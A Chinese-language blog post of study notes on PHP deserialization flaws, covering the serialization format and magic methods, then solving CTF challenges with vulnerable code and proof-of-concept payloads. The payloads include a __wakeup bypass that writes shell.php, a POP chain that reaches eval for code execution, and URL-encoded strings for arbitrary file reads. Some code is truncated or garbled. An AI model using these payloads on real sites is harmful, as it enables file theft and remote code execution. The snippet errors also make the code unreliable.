PHP

「安全筆記」php反序列化 漏洞筆記

序列化格式

php序列化後的內容是簡單的文字格式,但對字母大小寫和空白敏感,而字符串是按照字節(或者說是8位的字符)計算的,因此更適合的說法是php序列化的內容是字節流格式

布爾型

bool:<digit>
$a = true;
序列化後: b:1

整數型

int:<value>
$a = 1;
序列化後: i:1;

double型

double:<value>
$a=1.23;
序列化後: d:1.23

另外如果序列化無窮大或序列化超過php能表示的最大數
d:INF
負無窮大
d:-INF
超過php的最小精度
d:0

字符串

string:<length>:<value>
$a="nice";
序列化後: s:4:"nice";

NULL

$a=null;
序列化後: N;

陣列

array:<length>:{<key>:<value>;....}
$a=array("php","is","the","best","language")
序列化後: a:5:{i:0;s:3:"php";i:1;s:2:"is";i:2;s:3:"the";i:3;s:4:"best";i:4;s:8:"language";}

對象

object:<class_name_length>:"class_name":<number_of_properties>:{<filed_name1>:<file_value1>;....<filed_namen>:<filed_namen>:<filed_valuen>};
//filed_name為字段名,字符串類型,它序列化後與字符串序列化一樣   
序列化後: O:4:"mntn":3:{s:4:"name";N;s:3:"age";N;s:2:"ID";N;}
class Demo{
    public $var1;
    private $var2;
    protected $var3;
}
$demo = new Demo();
echo serialize($demo);
//屏幕輸出O:4:"Demo":3:{s:4:"var1";N;s:10:"Demovar2";N;s:7:"*var3";N;}

實際上,對象中的變數被序列化時會發生改變

私有變數private 被序列化時 會變成 %00Demo%00var2 即 %00 + 類名 + %00 + 屬性名

共有變數public 被序列化時不改變

受保護變數protected 被序列化時 會變成 %00*%00var3 即 %00 + ‘*’ + %00 + 屬性名

在傳遞參數的時候需要帶上否則無法生效

對象序列化中的魔術方法

__construct 構造函式,初始化對象的時候觸發

class Test{

    function __construct(){
        echo "this is construct test";
    }
}
$a = new Test();

__destruct 析構函式,對象銷毀的時候觸發

class Test{

    function __destruct(){
        echo "this is destruct test";
    }
}
$a = new Test();

__toString 對象被當作字符串時觸發

class Test{
    function __toString(){
        return "this is test";
    }
}
$a = new Test();
echo $a;

__sleep 類被序列化時會先調用__sleep方法,返回需要被序列化保留的屬性

class Test{
    public $var1;
    public $var2;

    function __sleep(){
        return ['var1','var2'];
    }
}

$a = new Test;
$b = serialize($a);
echo $b;
//O:4:"Test":2:{s:4:"var1";N;s:4:"var2";N;}

__wakeup 類被反序列化的時候會先調用__wakeup方法

class Test{
    public $var1;
    public $var2;

    function __wakeup(){
        echo __METHOD__;
    }
    function __construct(){
        echo __METHOD__;
    }
}

$a = new Test;
$b = serialize($a);
unserialize($b);

綜合

class Magic_methods
{
    public $var1 = "abc";
    public $var2 = 1;
    public function __construct(){
        echo "run __construct</br>";
    }
    public function __destruct(){
        echo "run __destruct</br>";
    }
    public function __toString(){
        echo "run __toString</br>";
        return $this->var1;
    }
    public function __sleep(){
        echo "run __sleep</br>";
        return array('var1','var2');
    }
    public function __wakeup(){
        echo "run __wakeup</br>";
    }
}
// 創建一個新對象,會先調用__construct()
$obj = new Magic_methods();
// 將對象當作字符串輸出,會先調用__toString()
echo $obj."</br>";
// 調用serialize()之前先調用__sleep()
$s = serialize($obj);
echo $s."</br>";
// 調用unserialize()之前會先調用__wakeup()
$data = unserialize($s);
echo $data."</br>"; 
// 此處又一次調用了__toString()
// 腳本執行完畢,即將銷毀所有創建的對象,此時調用__destruct()
// 反序列化恢復的對象被銷毀,再次調用__desruct()
// 所以這裡調用了2次__destruct()

題目

error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
    echo "$flag";
}

利用前面的構造反序列化字符串知識可構造s:7:"D0g3!!!",提交即可

$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  

首先需要利用的是file_get_contents()來達到包含任意文件的目的,利用php偽協議php://input可以控制內容。
以前一直認為php://input只能接收POST請求提交的數據
但是測試的時候GET也可以獲取到原始數據流,實際上

php://input可以讀取http entity body中指定長度的值,由Content-Length指定長度,不管是POST方式或者GET方法提交過來的數據。但是,一般GET方法提交數據 時,http request entity body部分都為空。
php://input 與$HTTP_RAW_POST_DATA讀取的數據是一樣的,都只讀取Content-Type不為multipart/form-data的數據。
也就是說明GET請求也可以在請求的body中傳入原始數據流讓php://input接收

$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";
    if(preg_match("/flag/",$file)){
        echo "涓嶈兘鐜板湪灝辯粰浣爁lag鍝�";
        exit();
    }else{
        include($file);
        $password = unserialize($password);
        echo $password;
    }
}else{
    echo "you are not the number of bugku ! ";
}

class Flag{//flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("good");
        }
    }
}

可控制 $file來達到文件讀寫,利用反序列化漏洞,因為序列化儲存類的屬性,所以可構造

class Flag{
    public $file;
}
$a = new Flag;
$a->file = flag.php;
echo unserialize($a);

即可控制讀取的文件

__wakeup漏洞

當php是低版本時存在漏洞,當輸入的反序列化的對象個數大於真實的個數時,會使得__wakeup函式失效從而可以繞過,同時對象被銷毀,執行__destruct().所以攻擊者可以繞過__wakeup調用精心設計的__destruct()方法

利用

class A{
    public $a = "test";
    function __destruct(){
        $fp = fopen(__DIR__.'\shell.php',"w");
        fputs($fp,$this->a);
        fclose($fp);
    }
    function __wakeup()
        {
            foreach(get_object_vars($this) as $k => $v) {
                    $this->$k = null;
            }
            echo "Waking up...\n";
        }
}
$test = $_POST['test'];
$b = unserialize($test);

poc test = O:1:"A":2:{s:1:"a";s:27:"";}

構造pop鏈

error_reporting(0);
class lemon{
    protected $classObj;
    function __construct(){
        $this->classObj=new normal();
        // 私有變數$classObj 複製為新類normal的對象,並且調用了該類的方法action
        // 但是有趣的是,另一個類evil 也有同名方法action
        // 所以可以構造pop 鏈,使得其在__destruct 方法中調用evil 類里的action 方法
    }

    function __destruct(){
        $this->classObj->action();
    }
}

class normal{
    function action(){
        echo "hello";
    }
}

class evil{
    private $data;
    function action(){
        eval($this->data);
    }
}

unserialize($_GET['a']);
//poc
<?php
class lemon{
    protected $classObj;

    function __construct($classObj){
        $this->classObj = $classObj;
    }
}

class evil{
    private $data;

    function __construct($data){
        $this->data = $data;
    }
}

$e = new evil('eval("$_GET[${s}]")');
$a = new lemon($e);
echo urlencode(serialize($a));

安恆 月賽題

@error_reporting(1);
include 'flag.php';
class baby
{
    public $file;
    function __toString()
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    //O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }
}
else
{
    highlight_file("./test.php");
}

安恆 2019 一月月賽
當時沒做出來,賽後也沒總結,現在拿出來再分析一下

skyobj = new sec;
    }
    function __toString()
    {
        if (isset($this->skyobj))
            return $this->skyobj->read();
    }
}

class cool
{
    public $filename;
    public $nice;
    public $amzing;
    function read()
    {
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "you must be joking!";
            }
        }
    }
}

class sec
{
    function read()
    {
        return "it's so sec~~";
    }
}

if (isset($_GET['data']))
{
    $Input_data = unserialize($_GET['data']);
    echo $Input_data;
}
else
{
    highlight_file("./test.php");
}
?>

首先明確利任意文件讀取的利用點是 __toString方法,然後看到__toString方法下面有一個read()方法,很明顯要利用cool里的read()方法來達到目的。明確目標就可以來構造pop

coolread()方法需要反序列化一個類,這個類很明顯是baby類,而且需要滿足$aaa=$bbb,發現$aaa會被重新賦值,而且無法控制,這裡可以用地址符來保證一定相等
構造amzing

class baby{
    protected $skyobj;
    function __construct()
    {
        $this->skyobj = new cool;
    }
}
$a = new baby();
$a->bbb = &$a->aaa;
echo urlencode(serialize($a));
//O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D

然後可以構造完整exp

class cool{
    public $filename = 'flag.php';
    public $nice;
    public $amzing = 'O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D';
}
$c = new baby();

echo urlencode(serialize($c));
//O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3Bs%3A227%3A%22O%253A4%253A%2522baby%2522%253A3%253A%257Bs%253A9%253A%2522%2500%252A%2500skyobj%2522%253BO%253A4%253A%2522cool%2522%253A3%253A%257Bs%253A8%253A%2522filename%2522%253BN%253Bs%253A4%253A%2522nice%2522%253BN%253Bs%253A6%253A%2522amzing%2522%253BN%253B%257Ds%253A3%253A%2522aaa%2522%253BN%253Bs%253A3%253A%2522bbb%2522%253BR%253A6%253B%257D%22%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D

View Comments

Recent Posts

Flexible Shipping Pro

在WordPress的世界裡,…

4天 ago

2023 年 WordPress 中最棒的多語言翻譯外掛推薦

擔心如何翻譯您的網站語言以支持…

1年 ago

2023 年 WordPress 中最棒的可視化頁面構建器外掛推薦

在設計任何頁面或網站時,對於不…

1年 ago

Ella 多用途 Shopify 佈景主題

Shopify 佈景主題市場上有許…

1年 ago

AI Engine Pro

喵容今天帶來的 AI Engi…

1年 ago

AIKit

喵容今天為您帶來 AIKit …

1年 ago